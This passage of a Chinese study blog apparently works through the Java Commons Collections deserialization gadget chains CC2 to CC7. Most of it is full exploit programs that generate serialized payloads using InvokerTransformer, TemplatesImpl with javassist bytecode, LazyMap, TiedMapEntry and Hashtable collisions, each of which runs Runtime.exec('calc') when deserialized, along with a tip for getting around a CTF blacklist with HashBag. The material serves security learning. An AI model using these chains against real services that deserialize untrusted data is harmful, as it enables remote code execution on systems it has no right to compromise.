import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});

        TransformingComparator comparator = new TransformingComparator(chain);
        PriorityQueue queue = new PriorityQueue(1);

        queue.add(1);
        queue.add(2);

        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }


}

这里首先注意queue加了两个元素,这是因为size不大于1的话无法进入siftDown方法。然后queue.add这段代码不能放到反射实例化comparator的后面。因为代码段中如果comparator不为null会放不进去元素。

然后其实上面这个exp并不是ysoserial CC2的exp链子。它使用的是javassist + TemplatesImpl。首先简单说明下javassist,它提供了修改字节码的功能。

比如我们手动生成一个byc404.class

package top.bycsec;

import javassist.*;

public class cc2 {
    public static void createPseson() throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("byc");
        String cmd = "System.out.println(\"evil code\");";
        // 创建 static 代码块,并插入代码
        cc.makeClassInitializer().insertBefore(cmd);
        String ClassName = "byc404";
        cc.setName(ClassName);
        // 写入.class 文件
        cc.writeFile();
    }

    public static void main(String[] args) {
        try {
            createPseson();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

像这样能够直接控制static方法的话,那么它在实例化时就会被直接执行。

接下来看看它真正的核心TemplatesImpl的使用

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

跟进getTransletInstance

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里defineTransletClasses()可以还原bytecode为class.后面的newInstance()则可以实例化这个class.在这个实例化的过程中static方法就会执行。所以达成了一个任意命令执行的效果。

再稍微多回顾下前面我们达到的进度,就是我们已经可以任意调用transform了,只需一个可控对象。那么这里再用之前经常用到的InvokerTransformer.transform反射来调用TemplatesImpl.newtransformer

最终exp

package top.bycsec;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);

        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); 
        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);

        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        Object[] queue_array = new Object[]{templates,1};

        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }


}

这个exp几个细节还是值得说明一下的。不过我还是偷懒下不深入了,就当做一些注意事项简单说明下。

1.为了进入defineTransletClasses需要把恶意类的父类设置为AbstractTranslet。否则_transletIndex会小于0爆出错误。
2.通过反射的方式来设置queue的值,而是直接add。这里我们queue的第一个元素是templates即TemplatesImpl.class.newInstance();。这是一个类。而第二个元素是1.这两个元素在add时会出现比较出错。所以得保证类型一致。不过还有一个方法就是里面放两个一样的元素即都为template.

  • CommonsCollections3

CC3又回到了CommonsCollections3.1的依赖。
有点像CC1+CC2。用到了两个链子的关键内容。

区别在于用了TrAXFilter调用newTransformer()

public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

然后不同于以外的InvokeTransformer,它改用了InstantiateTransformer.其transform方法如下

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }

这里创建了类实例,如果把input设置为TrAXFilter,那么就会在这里实例化的时候调用其构造方法,触发TemplatesImpl#newTransformer。

exp

package top.bycsec;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class cc3 {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);

        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        HashMap innermap = new HashMap();
        LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Deprecated.class,map);

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Deprecated.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }

    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}
  • CommonsCollections4

依赖环境变为Commons Collections 4.0

似乎就是个杂交......因为依赖变为4.0了。直接使用CC2 中的queue+ CC3中的transform调用。

exp

package top.bycsec;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cc4 {

    public static void main(String[] args) throws Exception{

        Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
        constructor.setAccessible(true);
        InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

        TransformingComparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(1);


        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("byc");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "byc404" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));

        byte[] classBytes = cc.toBytecode();
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", targetByteCodes);

        setFieldValue(templates, "_name", "name");
        setFieldValue(templates, "_class", null);

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
        });

        Object[] queue_array = new Object[]{templates,1};

        Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
        queue_field.setAccessible(true);
        queue_field.set(queue,queue_array);

        Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
        size.setAccessible(true);
        size.set(queue,2);


        Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        comparator_field.setAccessible(true);
        comparator_field.set(queue,comparator);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
            outputStream.writeObject(queue);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static Field getField(final Class clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}
  • CommonsCollections5

cc5跟过一次。当时没用jdk1.7的环境。现在实验下jdk1.7 + cc3依赖的exp.另外发现这个链子cc3,cc4依赖都可以使用。貌似是ysoserial只写了cc3的链子。稍微改下就可以用在cc4的环境了。

首先重点还是构造链子来调用喜闻乐见的反射transform rce payload.这里的方法在第一篇学反序列化时已经跟过了

然后是一个细节:

TransformedMap.decorate()方法能将普通的MapA转换为TransformedMapB,同时如果TransformedMap.decorate()方法设置了第二个参数keyTransformer或者第三个参数valueTransformer,当TransformedMapB调用Map的put方法或者Map.Entry的setValue方法就会自动触发刚才设置的keyTransformer或者valueTransformer相应的Transformer

之所以提到decorate()是因为我自己这一部分cc1的链子在书写exp中用的是反射实例化的lazymap。当时只是跟着别人的exp用反射实例化了,结果后来发现明明cc3依赖中直接decorate就可以创建lazymap。

这个方法在cc4依赖中变为了LazpMap方法


然后核心还是跟cc1一样,此时只要一个调用LazyMap#get的位置来触发rce。

用到的gadget是TiedMapEntry#toString => getValue => get.需要this.map为LazyMap.跟过一遍就不再说了。

再接下来是BadAttributeValueExpException来触发toString.
因为其readObject中valobj.toString的valobj来自输入的val。所以直接反射设置为TiedMapEntry即可

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);
    ......

exp

package top.bycsec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();

        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
            oos.writeObject(badAttributeValueExpException);
            oos.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后上面说了。换成cc4依赖是通杀的。我们只需将exp中依赖全部换成4的,然后decorate方法换成lazyMap来实例化LazyMap即可

exp

package top.bycsec;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap();
        Map lazyMap = LazyMap.lazyMap(hashMap,chainedTransformer);
        //Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
            oos.writeObject(badAttributeValueExpException);
            oos.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  • CommonsCollections6

比较类似CC5的链子。然后利用环境也是3,4通杀。

cc6的gadget与cc5的区别在于没有利用TiedMapEntry#toString,而是TiedMapEntry#hashCode

这个方法在URLDNS中出现过,在反序列化时会重新计算对象的 hashCode.

public int hashCode() {
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}

public Object getValue() {
    return this.map.get(this.key);
}

跟toString一样调用了getValue。所以就基本一样了。

触发hashcode的方法是利用Hashmap类的hash

final int hash(Object k) {
    int h = hashSeed;
    if (0 != h && k instanceof String) {
        return sun.misc.Hashing.stringHash32((String) k);
    }

    h ^= k.hashCode();

    // This function ensures that hashCodes that differ only by
    // constant multiples at each bit position have a bounded
    // number of collisions (approximately 8 at default load factor).
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

加上hashMap.put

public V put(K key, V value) {
    if (table == EMPTY_TABLE) {
        inflateTable(threshold);
    }
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

这样就可以直接put触发了。然后官方的链子不知道为啥加上了一个Hashset,有点奇怪。

exp

package top.bycsec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");

        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry, "byc");

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        innerMap.clear();

        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
            oos.writeObject(hashMap);
            oos.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

同样也是cc依赖3,4通用。

然后强网杯当时一道java题记得就是用的cc6的链子改了下。因为当时是存在手写的黑名单,不能用hashmap,但是可以找替代的hashcode来利用。所以用HashBag替换一下就行。

HashBag hashMap = new HashBag();
hashMap.add(tiedMapEntry, 1);

hashBag继承了一个抽象类,然后方法基本跟HashMap差不多。所以小改下就可以直接打了。

  • CommonsCollections7

cc7的链子是通过AbstractMap#equals来触发LazyMap#get

public boolean equals(Object o) {
    if (o == this)
        return true;

    if (!(o instanceof Map))
        return false;
    Map m = (Map) o;
    if (m.size() != size())
        return false;

    try {
        Iterator> i = entrySet().iterator();
        while (i.hasNext()) {
            Entry e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            if (value == null) {
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}

这里如果控制m为lazymap即可触发rce.

然后cc7是在HashTable#reconstitutionPut中调用过equals方法

int hash = hash(key);
    int index = (hash & 0x7FFFFFFF) % tab.length;
    for (Entry e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
            throw new java.io.StreamCorruptedException();
        }
        ......

然后HashTable的readObject也调用过了reconstitutionPut.所以可以触发。

exp

package top.bycsec;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class cc7 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap innerMap1 = new HashMap();
        innerMap1.put("yy", "1"); // "yy".hashCode() == "zZ".hashCode() == 3872
        HashMap innerMap2 = new HashMap();
        innerMap2.put("zZ", "1");

        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);

        HashMap hashMap = new HashMap();
        hashMap.put(lazyMap1, "placeholder");
        hashMap.put(lazyMap2, "placeholder");

        innerMap1.remove("zZ"); 

        Field field = chainedTransformer.getClass().getDeclaredField("iTransformers"); 
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        try {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./out.bin"));
            oos.writeObject(hashMap);
            oos.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./out.bin"));
            inputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

这里有个细节。就是首先需要put两次才能调用equals方法。
然后由于一个小bug

"yy".hashCode() == "zZ".hashCode()

会导致"碰撞"发生,其实就是因为这样计算出来的hash一致所以会导致它调用其中一个对象的equals方法进行比较。这样就能成功进入我们的gadget了。最后expremove掉zZ这第二个元素。这是要去掉这个键。否则这个hashmap会带上无法序列化的对象从而使反序列化失败。

  • summary

没想到最后还是成功把链子都跟完了。这篇文章就写这么多了。反序列化的gadget跟进说实话比起php少了一点变通,但是难度还是有点大的。不过整体下来不难发现Map类,cc库中的一系列Transformer类,反射的技巧起到了至关重要的作用。并且实际上肯定存在更多gadget等待发掘。

后面会抽空去学习下shiro,jackson,fastjson等等的深度分析。

你可能感兴趣的:(学习笔记-java相关-2)